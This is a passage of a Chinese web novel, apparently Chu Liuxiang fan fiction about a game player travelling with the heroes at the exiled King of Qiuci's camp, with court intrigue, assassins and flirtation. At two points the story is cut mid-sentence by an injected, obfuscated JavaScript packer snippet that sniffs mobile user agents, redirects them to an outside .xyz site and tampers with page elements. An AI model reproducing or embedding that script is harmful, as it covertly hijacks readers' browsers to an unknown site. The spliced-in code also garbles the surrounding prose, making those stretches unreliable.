江湖中赫赫有名、嗜杀成性,不知让多少人夜不安寝的“杀手无情”居然被这样一个名不见经传的少年废了武功。 倘若杜环果真让了那三招,如今被扭断的恐怕就不只是他的手腕了。 吴青天和吴白云看向芒青的眼神变了,就连始终没什么精神的王冲都不知已经聚精会神地瞧了多久。 吴青天和吴白云这两兄弟以一手“游龙剑”闻名江湖,人称吴氏双侠,哥哥吴青天更有“青天侠客”的美誉。 此刻,他竟起身拱手,率先放低了自己的姿态,“敢问少侠师承。” 芒青:“只是一个小门派而已。” 吴青天:“在下诚心想与少侠结交。” 胡铁花哈哈大笑,“吴大侠,你有所不知,这门派的名字正是只是一个小门派而已。” 琵琶公主嫣然道,“世上还有这么奇怪的宗派么?” 芒青含笑不语,对她欠一欠身,琵琶公主盯着看了片刻,脸却渐渐红了起来,轻轻咬了咬下唇,眸若秋水,眼似含波。 姬冰雁忽然重重放下筷子,转向红袍人,开口道,“阁下帐中能人异士众多,不知您又是什么来历。” 红袍男人举着金杯,大笑道,“蒙诸位义士不弃,小王正是龟兹国国王。先前诸事繁多,还未请教阁下的大名。” 姬冰雁得知他的身份,看起来也并不如何惊讶,罕言道,“姬。” “阁下的名字里莫非只有这一个字么?” 姬冰雁就伸手在半空划了几下,芒青凝神分辨了一下,发现他是在瞎写。 龟兹王果然没看出什么名堂,却也不再追问,含糊一番将话题略过。 * 话至此处,本该是宴席正式开始的时候,却有一金甲武士匆匆而入,神色慌张地在龟兹王耳边禀告了什么。龟兹王听罢,脸色也陡然难看起来。众人察言观色,识相地散了宴。 侍女将他们带到一个华美、精致的帐篷前,这就是楚留香三人暂时的居所了。 胡铁花痛饮美酒四五坛,神智竟还清明。 他仰躺在兽皮铺就的短榻上,不由喃喃,“昨日我们尚且还要靠吃沙子过活,今天却已经享受上了珍馐、喝上了好酒,人世间的事情果然叫人捉摸不透。” 姬冰雁冷笑,“你以为这酒就这么好喝么。恐怕那龟兹王早就准备好了一个天大的麻烦,只等你自己一头撞过去。” 芒青匀出一只耳朵听他们讲话,一心二用地打开系统地图。 三人分析一通,既知事有蹊跷,便决心留下探一探虚实。楚留香更是凭借过人的耳力听清了武士向龟兹王禀告的内容,将那几个死去的镖师和石观音、极乐之星联系在了一起。 他道,“想来,那被石观音盯上的宝石大抵就是所谓的‘极乐之星’了。” 姬冰雁没有说话,沉默地思考着什么。 恰在此时,帐篷外突然传出一声略显刻意的干咳,芒青回神一看,来人竟是吴青天。 吴青天见到她,同样颇有几分惊讶,“温少侠也在这里么?” 楚留香笑道,“叙一叙话罢了。吴兄漏夜前来,所为何事?” 吴青天:“在下受龟兹王所托,来向三位求亲。” 话音落下,就连姬冰雁也愣住了,胡铁花失声叫道,“求亲?” 楚留香率先反应过来,道,“不知王爷是看上了我们之中的哪个人,总不会是想将我们三人都招为驸马罢?” 吴青天笑答,“自然不会如此。不过阁下也有一点猜错,并不是王爷要招女婿,这驸马的人选乃是大公主亲点。” 胡铁花饮尽最后一口酒,熏陶陶随口问,“不知公主究竟看上了谁?” 吴青天微笑道,“正是阁下!” 胡铁花大张着嘴巴,好一会儿才回过神来,猛地打了一个激灵。倘若酒壶里还有酒,此刻便该泼他一身了,“不可!不可!公主怎么会看上我?你莫非是弄错了?” 吴青天道,“这样的大事,在下怎么会弄错?” 胡铁花嘴唇开合几下,仍是道,“说不准是你没听清楚,再去问问罢!” 楚留香忽然叹了口气,道,“还请阁下容他斟酌一二。这样的人生大事,又岂能轻易决定呢。” 吴青天道,“既是如此,在下半个时辰后再来。” 楚留香讶然,“竟这么急么?” 吴青天苦笑,“诸位有所不知,并非是在下着急,实在是那位公主相中了大侠……” 他眼睛往胡铁花身上瞟,胡铁花却是一副失了魂魄的模样,浑浑噩噩地坐在一边,不知在想些什么。 * 送走吴青天,楚留香放下帐帘,看着胡铁花叹了口气,“你应是不应?” 胡铁花听到他的话 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芒青已走到门边,掀开了帐帘。她半侧回头,绿洲上带着湿润凉意的清风扫动她的鬓发,少年人的面容掩藏在昏暗的夜色之中,叫人看不分明。 “半天风。”她说。 * 这片寥落的大漠上罕有人烟,因此,那两颗孤零零矗立在荒原上的小红点就显得有些格外扎眼了。 芒青过去一看,小怪虽然等级不高,数量却不少。螃蟹身上的肉多,架不住它实在难啃,不过,这点小小挫折是阻碍不了玩家赶进度的脚步的。 芒青回来的时候已近卯时。天光熹微,黎明的阳光从稀薄的云雾中探出头来,映照出一片黄橙色的霞光。 读了三次档才终于通关的芒师傅经过一整个晚上的奋战,成功把自己的等级刷到了lv.46。 她心里美了,脚步也跟着轻快几分。 路过马厩时,芒青下意识朝里瞥了一眼。出乎意料的,这里并没有石驼的身影。 同行几日,芒青也大概知晓他的脾气。倘若寻不到石驼,不妨去骆驼堆里找一找。他总是跟这些温厚的生灵们待在一起,仿佛只有这样才能让自己感受到片刻的安宁。 骆驼们不安地踏动着前蹄,黑马倒是不受影响,见到熟悉的人类便伸着脖子来嗅。 芒青呼噜一把凑到跟前的马头,掏了掏口袋,剥开一颗麦芽糖给它吃了。 掌心传来粗糙湿润的触感,马卷走了糖,鼻头却还一拱一拱地闻她手上残余的甜味。 芒青脸不红心不跳地骗它,“没有了。这是最后一颗。” 马:“……” 它打了一个响鼻,黑色的豆豆眼里明晃晃写着几个大字“我闻得出来”,头顶上的宝石变成了紫色。 怒。 身后突然传来一声轻笑。芒青回过头,琵琶公主正站在不远处,一袭轻纱白裳,更衬得她恍若人间仙子。 “大清早的,你在这里做什么呢?” 芒青望天:“嗯……赏日?” 琵琶公主噗嗤一声笑了,嗔她一眼,“这借口实在不走心得很。” 她忽然凑近两步,身上的暖香像灵蛇一样钻进了芒青的鼻腔,“难道我不值得让你多费些心思么?” 芒青:“……” 如果玩家能显示好感度,琵琶公主一定能看到她头上正顶着亮闪闪的五颗星。 琵琶公主看着少年人怔愣的模样,脸上揶揄之意更浓,抬手点了点她的心口,“呆子。” 说罢,她也不看芒青的反应,一转身翩然而去了。 芒青:“!!” 等她把主线剧情的结局打出来,下周目就开个新档来过过驸马的瘾。 8. 第八章 * 楚留香掀帘而出,把盆中的水泼在地上,一抬头,恰好看到惨遭漂亮妹子调戏,正蹲在树上思考人生的可怜玩家。 他尚且不知发生了什么事情,笑着招呼道,“温少侠。” 芒青也一本正经道,“刘大侠。” 楚留香唇边笑意更浓,问,“你已经办完事了么?” 芒青点点头,从树杈上跳下来,拍拍袍角沾到的灰尘,泰然自若地跟着楚留香往帐篷里走。 楚留香:“……” 他欲言又止。虽然姬冰雁和胡铁花都已经起床穿戴整齐,但好像还是有哪里不太对劲。 不是,她为什么这么自然啊。 胡铁花猝不及防看到芒青进来,险些被自己的口水呛着。他慌里慌张地低头仔细打量了一遍自己,确定身上没有什么不妥,这才心有余悸道,“芒青姑娘,你下次来还是提前告诉我一声罢。” 芒青:“?” 这npc还挺讲究,但是玩家担心啥啊,不能过审的剧情游戏自己会毙的。 她没往心里去,随口应了,转而说起正事来。 “我昨天去抄了个黑店,在里面发现点东西。” 胡铁花震惊,“你不是说你要去找人么?” 芒青:“找到了,发现他是个坏蛋,顺手把店抄了。” 胡铁花:“……” 芒青把原委讲了一遍。那依山而建的沙漠客栈正是大盗半天风所设,不仅劫财,还要害命,不知已有多少旅人葬于他手,成了刀下亡魂。 好在此人虽凶名远播,手下却俱是一群杂鱼烂虾,芒青收拾了他,回程的路上又发现了几顶可疑的帐篷。 这一处营帐中统共只有五个人,除却两个汉族打扮却一看就是异邦之人的中年男人,剩下四个红名npc竟都有些功夫在身,还有一个是熟人。虽然等级不高,但毕竟人多势众,一时也颇为难缠。 好在玩家有存档功能,应付起来并不十分棘手。 见她几刀了结了孙空等人的性命,两个中年男人再也端不住架子,涕泗横流地坦白了身份,并宣称倘若壮士肯高抬贵手放他们一马,他们定能许以万金。 芒青遂和这两位龟兹国的叛臣进行了一番颇为亲切友好的交流。成功得到副本线索的玩家十分感谢npc的无私帮助,两刀把他们送上了西天。 此行收获颇丰,胡铁花却听得瞳孔地震,已不知道该说什么才好,半晌喃喃道,“你一个晚上竟做了这么多事么?” 楚留香说,“龟兹王丢了国土,极乐之星是他复国的倚仗,所以他才会托付彭家镖局,让他们将宝石送到沙漠里来。” 姬冰雁道,“石观音抢先我们一步得知了这个机密,才会派人截杀彭氏兄弟。” 楚留香断言:“她的手下一定已经混入了这里。” 姬冰雁的面上露出了一抹极其浅淡的微笑,“既如此,我们只需静观其变,且看石观音下一步的行动,就能知道她究竟想做什么。” 胡铁花一拍大腿,“不错,就这么办!” 一直安静听他们讲话的少年人忽然出了声。她的手扶上刀柄,微微侧过头,“有人来了。” 楚留香凝神静听。几息后,果然听到了一阵由远及近的脚步声。 来人正是吴青天。 他面带笑容,态度极客气地来请几人去用龟兹王准备的早膳。芒青的目光微不可察地在他头顶上停顿了一下。 * 一行人到了王帐,龟兹王见到胡铁花,并没有因为他拒绝公主的求亲而介怀,依然是一副十足亲切的豪爽模样。 琵琶公主目光盈盈地在几人身上扫视一遍,最后看向芒青,突然朝她眨了一下眼。 芒青:“!” 她耳根瞬间红了一片,下意识别开了视线。 楚留香:“?” 少年人的肤色像冷白的玉石,那层突兀的晕红因此显得分外明显。 姬冰雁的手指不受控制地抽动了一下。 自称王冲的可疑npc今日不在。杜环伤了手,纵使龟兹王再三挽留也没能回转他的心意,昨晚便连夜离开了。 避开琵琶公主调侃的视线,芒青的目光落在了席间另外两人的身上。 独行大盗司徒流星、还有吴青天的兄弟,那位名叫吴白云的江湖人士。 芒青看着他,缓缓将手摁在了腰间的佩刀上。 吴白云同样抬头注视着芒青。他的眼皮突然抽动了一下,像是意识到了什么。 少年人莞尔,“吴大侠是在等人吗?” 她把腰带上别着的布袋摘下来,扔在他面前的桌子上。 失去束缚的布料松散开来,露出了一只凝固着干涸血液的断手。创面平整光滑,其中却隐约能看见些许挂在筋膜上的碎骨。 吴白云死死地盯着那截断肢。 是杜环的手。 芒青的拇指推动刀柄,刀刃出鞘,划出一声尖锐而悠长的刺耳声响。少年人的嗓音温润,在吴白云耳中却和索命的无常没有任何分别。 “可惜。你大概是很难等到了。”恶鬼说。 话音将落,一人已大喝一声,飞身拔剑刺来。胡铁花定睛一看,竟然是吴青天。 游龙剑素来以轻盈严密著称,剑光闪动,几乎要晃花人的眼睛。帐篷内一时只听得到兵刃划破空气的声响。 与此同时,另一道身影也从几案后飞窜而出。长剑出鞘,直取龟兹王面门。 龟兹王大惊失色,打翻了手里的金杯,琵琶公主却悠悠抚弄着手中那只四弦琵琶,不见半分慌乱。 楚留香纵身一跃,正挡在那身影的去路之上。 吴白云哪里是他的对手,不过短短数招就已被逼得连连后退。若非楚留香手下留情,恐怕他早已变成了泉下亡魂。 不过片刻,楚留香一掌击中,吴白云面色惨白,再也控制不住身形,踉跄着跌倒在地,呕出了一口鲜血。 吴青天见弟弟长剑脱手,大喝一声,目眦欲裂,动作更快几分。胡铁花似是难以招架这样迅猛的攻势,不得不避其锋芒。 吴青天目露喜色。下一刻,又一道沉闷的金铁相击之声响起,游龙剑暴涨的剑气忽而弱了下去。 两只判官笔呈十字之式架住剑刃,叫它分毫不得寸进。出手之人正是姬冰雁。 吴青天佯攻芒青三人,本就是为了给吴白云挟持龟兹王制造机会。倘若得手,他们兄弟尚且还有全身而退的可能。 此刻二人俱被擒获,便再也没有转圜的余地了。 琵琶公主看也不看被武士压在地上听候发落的两人,只笑盈盈地瞧着芒青,问,“你是怎么发现他们心怀不轨的?” 楚留香叹了一口气。他也实在很想知道这究竟是怎么一回事。 芒青心道因为她昨天刚把版本更新成了抢先服,叛臣npc为了活命啥都说了,而且姓吴的亮红名了。 其实那只用来恐吓吴白云的断手也是她回来前临时从系统背包里拿出来的。但是这能直说吗。 在这个游戏的npc面前,玩家总是需要花费十二分的耐心和谨慎来对待他们,毕竟芒青也不想再被扣一次声望值了。 她把自己昨晚的刷怪行为进行了一番美化,着重模糊了一些听起来就不太和谐的不主要情节,最终凭借出众的口才成功把龟兹王忽悠瘸了。 这位英明神武的王爷坚信吴氏兄弟正如芒青所言,是勾结叛党企图暗害于他的狡诈小人,并冷酷地无视了他们的垂死挣扎,让近卫把这两名意图行刺却惨遭事业滑铁卢的江湖豪杰押了下去。 看龟兹王的神色,芒青相信,用不了多久,他们大抵就能在另一个地方和自己的同伙团聚了。 * 依然是眼熟的侍女,画面似曾相识。 打翻的碗筷被收拾妥当,多余的几案撤了下去,王帐内重新变得舒适、整洁了起来。 胡铁花的肚子已被晾了许久,看到美酒和佳肴,便迫不及待地享用了起来。 待众人酒足饭饱,手上的动作渐渐停下,龟兹王便端正了坐姿。他虚扶着酒杯,却迟迟没有开口。 司徒流星察言观色,先行提出了告辞。见龟兹王并没有挽留的意思,便知情识趣,加快脚步离开了帐篷。 席间只剩下芒青一行和龟兹王父女六人。他环顾一圈,略显刻意地长叹了一口气。 楚留香和姬冰雁不着痕迹地对视一眼,笑道,“王爷这是在为什么事情烦忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118108|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 龟兹王于是又叹了一口气,神色却比先前真心了许多。 这个豪爽风流的男人仿佛一息之间苍老了十岁,“各位既已与小王有了救命之恩,小王也免不得有几句肺腑之言要讲。只是此事干系重大,诸位得知后,还请务必替小王保守秘密。” 胡铁花放下酒壶,大声道,“王爷只管说就是,我等绝非背信弃诺之人。” 龟兹王苦笑,“既如此,小王也不瞒诸位。一年前,小王被我龟兹国的叛臣赶下了王位,不得已才流落到这沙漠之中。国土虽被夺走,小王却仍心向故乡,那些贼子得知此事,自然不肯善罢甘休。数月以来,小王已遭遇了数次如今日一般的刺杀。” 长长的一席话说完,龟兹王话锋一转,又道,“小王岂肯引颈就戮,只是复国之事哪里是一朝一夕就能办成的,也不过徒增诸位的烦扰罢了。” 胡铁花道,“在王爷心里,我们难道是这种遇到危险就畏缩不前的人吗?若有帮得上忙的地方,我定不推辞!” 龟兹王目光闪烁一下,笑道,“得大侠此言,小王便不多客套了,确有一件要紧事请托大侠……不知诸位可曾听闻过‘极乐之星’?” 楚留香在心底暗叹一声,嘴上道,“敢问这是何物?” 龟兹王:“‘极乐之星’乃是一颗珍贵无比的宝石,小王将它交与彭家镖局保送,本以为万无一失,不料日前却忽然惊闻噩耗,护送‘极乐之星’的镖师俱已命丧中途,宝石自然也落在了其他人手中。” 姬冰雁道,“王爷是想让我等将宝石夺回来么?” 龟兹王苦笑,“小王并非此意。其实早在昨日,把‘极乐之星’劫走的人就已经使人传信给了小王。” 芒青用拇指漫不经心地摩挲着玉杯的边缘,闻言微微抬了一下眸。 龟兹王从袖中拿出一张信笺递给楚留香,上面言简意赅,只写着寥寥几行字:“‘极乐之星’归我之手,三天后正午时分,送金五千两,珠五百粒,玉五十面,向西行路五十里……如意不诚,‘极乐之星’一去再不复返矣。[1]” 信纸末尾的落款处画着一座千手千眼的观音佛像。 楚留香的目光在那里微不可察地停顿了一下,方才道,“王爷既将信拿出来,想必是已经答应这人的条件了。” 龟兹王道,“不错。小王想要托付给几位大侠的也正是这件事。” 楚留香笑道,“王爷宽心,此事在下义不容辞。” 姬冰雁淡淡放下酒杯,忽然说,“只怕在王爷决心将财宝送去时,他们便已不肯与王爷交换了。” 龟兹王骇然,“何出此言?” 姬冰雁反问道,“王爷既肯交换,不正说明这‘极乐之星’的价值还在他们索要的财物之上吗?” 龟兹王面色几变,仍强笑道,“侠士有所不知,这‘极乐之星’于小王而言虽是无价之宝,可对旁人来说,却也不过只是一颗格外珍贵的宝石而已。” 姬冰雁直视着他,“那王爷又为什么如此看重这‘极乐之星’呢?” 龟兹王默然半晌,终于道,“此事事关我龟兹国的秘密,普天之下,也只有小王一人知晓而已。” 姬冰雁不再说话了。 楚留香见状,抱拳道,“此事干系重大,具体如何还需商议,王爷若无其他要事,在下等人便先行告辞。” 龟兹王此刻已是一副心事重重的样子,闻言略一点头,“阁下自便就是。” …… 芒青过完剧情动画,跟着楚留香一起离开了龟兹王的帐篷。 侍女恭顺地为他们撩开帐帘,芒青一只脚踏在外面湿润的草地上,偏头向内瞥了一眼。 坐在主位上的男人面露愁色,那顶镶嵌着宝石的华贵王冠的光芒似乎也黯淡了下来。琵琶公主皱紧了眉头,安静地陪在他身边。 胡铁花注意到芒青的动作,问道,“怎么了?” 芒青半垂下眼,很轻地笑了一下,“没什么。我们回去吧。” 胡铁花看了她几眼,“芒青姑娘,你有心事么?” 年轻人似乎有些心不在焉,她没有回答胡铁花的问题,只是若有所思地缓缓说,“这位龟兹王,真是一位很有意思的人啊。” 9. 第九章 * 在这片宝贵的绿洲上,有怡人的风景、充足的淡水、可口的美酒与佳肴。品尝过大漠困渴的旅人到了这种地方,是很难不知足的。 芒青倚在苍翠的树枝上,一只脚蹬着树干,另一只脚随着衣摆晃晃悠悠地垂下来。 先前雕刻的那只木笛已经弯曲开裂,芒青拿出来看了看,发出两句自问自答的鼻音。 她从系统背包里摸出玉笛,试了两个音调,逐渐找回了点熟悉的感觉。 阳光透过树影洒落,枝叶晃动,光点斑驳,在她眼下打出了一片绿色的投影。 吹的人不专心,笛声也变得时断时续,好在习武之人气息绵长,旁人听在耳朵里,倒有一股别样的安闲自在。 “你吹的是什么曲子?” 树下突然传来声音,芒青吓了一跳,好在她的情绪一向不怎么上脸,这才没让玩家在npc面前痛失耍帅的资本。 她把笛子胡乱塞进衣襟里,轻巧地从树上跳下,落在来人面前。 琵琶公主仰头看着她,眼神里带着一点狡黠的揶揄,“说呀,我问你话呢。” 芒青暗叹一口气,面露无奈,“我不知道。” 琵琶公主奇道,“你自己吹的曲子,竟然不知道么?” 她眸光流转,复而又笑道,“我也还不晓得你竟然会吹笛子……” 女孩子上前两步,抬手抚上芒青的心口,故作疑惑,“这里还有多少事情是我不知道的?” 那股诱人的暖香再次笼罩住了芒青,她呼吸一滞,微微向后仰了一下。琵琶公主瞧着她的模样,噗嗤一笑,指尖轻轻一挑,就从掌心的那块布料下将玉笛勾了出来。 她微微别着头,嗔道,“呆子,你以为我要干什么。” 芒青:“。” 她耳廓彻底红了。少年人面对迫近的刀锋尚且能面不改色、言笑晏晏,此刻,那张俊俏的面容上却流露出了一丝夹杂着恼怒的羞怯。 她皱着眉,握住那只在身上作乱的手腕,只是才稍一用力,转瞬却又松了开来。 年轻人把嘴边的话咽回去,别开视线,抿唇道,“有没有弄疼你。以后别这样了。” 琵琶公主一愣。 她盈盈地瞧着芒青,忽然笑了。 她笑得如此动人,那双玛瑙般晶莹的眼眸里盛满了温柔,仿佛阳春三月拂过湖堤的柳枝。被这样的一双眼看着,即使你有天大的脾气,也是发作不出来的。 这下,芒青的脖颈的颜色也有向耳朵看齐的趋势了。她愣愣地问,“你想不想看蝴蝶?” 琵琶公主疑惑地“嗯?”了一声。 芒青将一直背在身上的左手伸到两人中间,五指张开,一只小小的、纯白色的蝴蝶翩跹飞了起来。 琵琶公主奇道,“你什么时候抓的?” 那只蝴蝶渐渐飞远了,芒青才收回视线。 面对姑娘的追问,她好像又有些窘迫,音调也跟着变低了,“刚才从树上下来的时候。” 琵琶公主道:“我在下面,你还有闲心捉蝴蝶么?” “……就是因为看到了你。”芒青沉默半晌,说,“它很像你。” 琵琶公主微微睁大了眼。 两个人面面相觑,对视几秒,脸都红了。 琵琶公主低头移开视线,又控制不住地抬眼去瞧她。芒青看着自己的脚尖,谁也没有说话。 就在这时,一道略显急促的脚步声自远处而来,逐渐变得清晰。 芒青抬头,发现那是一名打扮得略有些不寻常的侍女。 琵琶公主回身,见到来人,恍然道,“你是王妃身边的人,在这里做什么?” 侍女笑道,“问公主安。王妃请温少侠过去一趟。” 芒青和琵琶公主对视一眼,琵琶公主率先开口,“既然王妃派人来请,你就快去罢。”她用玉笛点了点芒青,“至于这笛子么……就等你回来后再寻我拿。” 芒青:“……!” 她一句话没说,匆匆跟着侍女走了。背影颇有几分落荒而逃的意味。 * 龟兹王妃,这个自芒青来后就从未露过面的npc忽然主动向她抛出了橄榄枝。 看龟兹王等人的态度,王妃从前也是鲜少出现在人前的。只是不知是何缘故。 侍女在前引路,领着芒青穿过数座营帐,终于抵达了目的地。 两名同样打扮的侍女从内将帘子掀开,一阵混杂着药香和香料气味的凉风扑面而来。 芒青迈步而入。即使她没有刻意去瞧帐中的陈设,也能觉察到非比寻常的华贵。 这里堆满了各种各样的奇珍。绵软的地毯、蜿蜒的屏风、盛满冰块的青铜冰鉴、金丝楠木打造而成的多宝格……珠翠串成帘幕,绫罗绸缎层叠着逶迤在地。 侍女上前,恭顺地将塌前的纱帘掀开,露出一张比白牡丹更娇艳三分的面庞。 她头上如缎子般的鬓发微微松散,面庞尤且带着些许病容,却越发增添了美人的妍丽。这样的人,用天姿国色来形容只怕都不足以描绘她的容貌。 这仿佛画上仙娥般的人忽然动了起来,她支起身子,柔声含笑,“你就是温归?” 芒青微微低下头,并不直视她,极板正地行礼道,“见过王妃。” 王妃打量她一下,目光在那泛红的脖颈处停留片刻,眉目一舒,欣然,“果然芝兰玉树,少年俊彦。” 她微微一叹,那轻柔的吐息宛如情人的耳语,似乎正响在人的耳边。 “王爷将交换‘极乐之星’的重任托付于你,我也就放心了。自从王爷被叛臣驱赶出王宫,我们一家人便不得不背井离乡,捱过这颠沛流离的日子……” 王妃说到这里,话音一顿,触景生情,语调中竟带上了几分哽咽之意。她忍耐半晌,终是难以为继,落下泪来。 美人垂泪总是分外惹人怜惜,更何况是如此倾城绝色。倘若有人舍得让这样的佳人落泪,那他的心肠一定已经和铁一样硬了。 芒青动容道,“王妃宽心,在下纵使赴汤蹈火,也定会将‘极乐之星’带回来。” 王妃探身握住了她的手。她本就尚在病中,心绪激荡之下,双腮泛起了一片病态的薄粉,“有少侠此言,妾的心也就安了。” 那只手触感温凉、柔弱无骨,就这样滑进了她的掌心。 芒青瞳孔微微一缩,不由自主地颤抖一下,下意识收紧了手指。 王妃竟也没有将手抽出来,继续啜泣道,“妾也知此行必定凶险万分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118109|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是却仍有一事请托少侠……” 她开了口,又似是自觉失言,黛眉微蹙,自责般不再言语。 芒青见状,不由急道,“王妃直言无妨。就是让我上刀山下火海,在下也甘愿走上一趟的。” 王妃展颜而笑。 她双腮仍带着泪痕,轻轻瞥了一眼放在案几上的丝帕,用手掩住了侧颊。 芒青把那块手帕拿过来,王妃伸手去接,两个人的手就这样又重新碰在了一起。 王妃半扶着丝帕,牵引着她的手帮自己拭泪。芒青神色怔愣,直到触上那如花瓣般柔软的面颊时,才骤然惊醒,战战兢兢,不敢再看。 美人擦干了眼泪,略略斟酌一番,说,“妾曾听闻,龟兹国曾有一宝库,只有到了关系国家存亡之时才可以动用。王爷遭遇叛乱,王位也落入贼子之手,如今请托少侠以重金换取‘极乐之星’,只怕此物正与那宝藏有关。” “少侠将‘极乐之星’换回,已是帮我们解决了至关重要的一步。只是宝藏开启容易,运输出来却可称艰难。” 芒青道,“王妃是说……” 王妃:“王爷身边没有得力的部下,护送宝藏的事情,能依靠的也就只有少侠而已。我听说少侠武功不俗,天生神力,曾当众把昆弥打倒在地……” 芒青慌忙道,“并没有这样夸张的。” 王妃却伸出两根玉指,轻柔地抵住了她的下唇,嫣然而笑,“王爷若将此事交托给少侠,少侠可否将这宝藏的所在告诉我呢?” 芒青看着她的笑颜,便什么话也说不出来、什么事也想不起来了,此刻,这少年人唯有点头而已。 * 从王妃帐中出来,芒青扶着刀柄,漫无目的地顺着湖边闲逛。她仿佛是在思考什么心事,又似乎有些放空,思绪不知飘到了什么地方。 后背突然被人拍了一下,芒青恍然回过身,竟未能看见人影。 她转回来,这才看见面前的琵琶公主。 “怎么跟丢了魂一样。”完成了一场小小恶作剧的捣蛋鬼抱怨一声,却不是要芒青回答。 女孩子换了一身粉色的衣裳,更显得她分外娇嫩。琵琶公主拉着裙摆,轻盈地转了半圈,“如何?” 芒青很认真地说:“好看。” 琵琶公主瞪她一眼,“油嘴滑舌。” 芒青并不去反驳这句堪称无理取闹的指责,只是纵容地说,“你喜欢发簪吗?粉色的。” 琵琶公主惊奇道,“你要给我买?这里哪有商队呀。” 芒青说:“我给你打一只,好不好?” 琵琶公主喜道,“你还会做这个?” 她掰着手指,细细数过去,“那我要桃花样式的。你见过桃花吗?从前宫里有一株桃花树,沙漠里的花草最难养活,它开的时候不多……” 芒青落后一步跟在她身边,看着小姑娘雀跃的背影,目光从她发间的珠钗边一扫而过,忽然想起了帐中的龟兹王妃。 在她眼里,王妃头顶上的提示框分外醒目。 【龟兹王妃(□□□)】 于玩家而言,方框内的未解锁身份实在再好猜不过。如若芒青想得不错,这位看起来弱不胜衣的王妃,便正是石观音安插在龟兹王身边的眼线。 10. 第十章 * 两天时间匆匆而过,转眼就到了启程之日。 一行人清晨便早早出发,一直行至正午。 沙漠的烈日如同一块熊熊燃烧的炭火,将天地都烧灼成了一只滚烫的火炉。 沉甸甸的黄金压弯了骆驼的脊背,珍珠、玉石相互碰撞,发出叮铃的清脆声响。 马的腿比骆驼长,黑马载着它的主人悠闲地踱步,倒像是踏青一般。 它许久没看见芒青,此刻正是兴奋的时候,按捺不住地绕着队伍小跑了一圈。随行的龟兹武士偷偷瞥了好几眼,鼓起勇气道,“我能摸摸吗?” 芒青收起匕首和木料,握住缰绳,“现在可以了。” 武士小心翼翼地探手摸了摸黑马的脖颈,芒青随口问,“你叫什么名字?” 武士说:“我叫沙陀。” “你家在龟兹吗?” 沙陀看起来有些不好意思,“对。我祖辈都是龟兹人。” 芒青“哦”了一声,就此失去了兴趣,不再说话,继续削木头去了。 沙陀窘迫地看她几眼,也喏喏地不出声了,低头摆弄自己的袖口。 胡铁花早已没了刚出发时的精神劲儿,像一只被骤雨打蔫了的蝴蝶。 热汗淌出来,有些顺着他的面颊滑落,坠进骆驼粗糙的皮毛,有些则渗入衣料之中。那条缠裹在他头上的白布已被浸湿了。 胡铁花抹了一把脸,问道,“我们走了多少路了?” 一个看起来年长一些、蓄着络腮胡的龟兹武士望了望天色,和同伴用土语嘀咕一阵,向芒青四人道,“约莫有五十里了。” 楚留香道,“信上说要我们西行五十里,既然已经到了目的地,便先在此休整一番罢。” 众人翻身下了坐骑,武士们将骆驼牢牢拴在嶙峋的石块上。这些能载着货物像船一样在沙漠中航行的生灵顺着力道温驯地跪卧下来。 络腮胡武士干完了手里的活,从骆驼的身上摘下了一只羊皮水囊。木塞脱离瓶口,发出“啵”的一声轻响,酒香弥散了出来。 他目光恋恋不舍地流连一圈,还是先把水囊拿给了楚留香等人,赔笑道,“诸位大侠可要喝些酒提提神?” 胡铁花大喜。他看见了酒,便再也顾不得其他,当即接过来吨吨灌了两口。 姬冰雁冷冷提醒他,“喝酒误事,你还是当心些。” 胡铁花本也心怀顾虑,只是他为了不耽误今日的行程已经许久没沾过酒水,如今骤然遇见如此美酒,却是无论怎样也不愿意撒手了。 芒青的目光静静落在他身上,停顿数息后又看向远处。 沙陀也摘下自己的水囊喝了两口,一抹嘴巴,辣得连眼睛都睁不开了。 注意到芒青的视线,他略有些窘迫的挠挠头,走到远处和同伴说了两句,第三人也从身上摸出了一只水囊来。这些龟兹武士竟个个都带着酒。 沙陀拿着水囊走到芒青面前,愣愣地盯着她瞧了一会儿,耳根突然红了。 他低下头,腼腆地笑着,用官话说道,“里面是新酒,没有动过的。” 芒青言简意赅:“我不喝酒。” 沙陀愣了一下。他看上去还很年轻,眉毛短粗,略有些孩子气,被人拒绝也仍是呆呆的样子,有些磕巴地问,“为、为什么?” 芒青:“。” 哪壶不开提哪壶是吧。你要是没存档在游戏里买酒被扣了50声望值,你也就戒酒了。 她一手把住刀柄,狞笑:“喝酒误事。” …… 沙陀走了。背影看起来像一只灰溜溜的狗。 芒青心累地叹了一口气,向后仰靠在石壁上,余光突然瞥见一个人影。 姬冰雁不知什么时候坐到了离她很近的地方。他扭过脑袋,面朝着芒青。 芒青能感觉到有道目光在她身上逡巡而过,只是正午的阳光太过刺眼,看不清对面人脸上的神色。 玩家奇怪地打量了一会儿这位来意不明的npc,觉得他的异常行为可能是某种待机动作。 不出芒青所料,不过片刻,他的头就转了回去。 * 姬冰雁闭着眼,他能想象到身边的少年人此刻正怀着怎样的意味揣度他。 惊讶、费解、困惑。但这些思绪不会维持多长时间。她很少执着于某一件事情,也鲜少有事情值得让她执着。 眼前仿佛又浮现出了刚才的画面。 那毛头小子的眼神实在太好懂了,就在不久之前,姬冰雁也在胡铁花的脸上见到过。 或许就连他自己都在不知不觉中露出过这样的眼神,否则楚留香又何必用那样的表情看他。 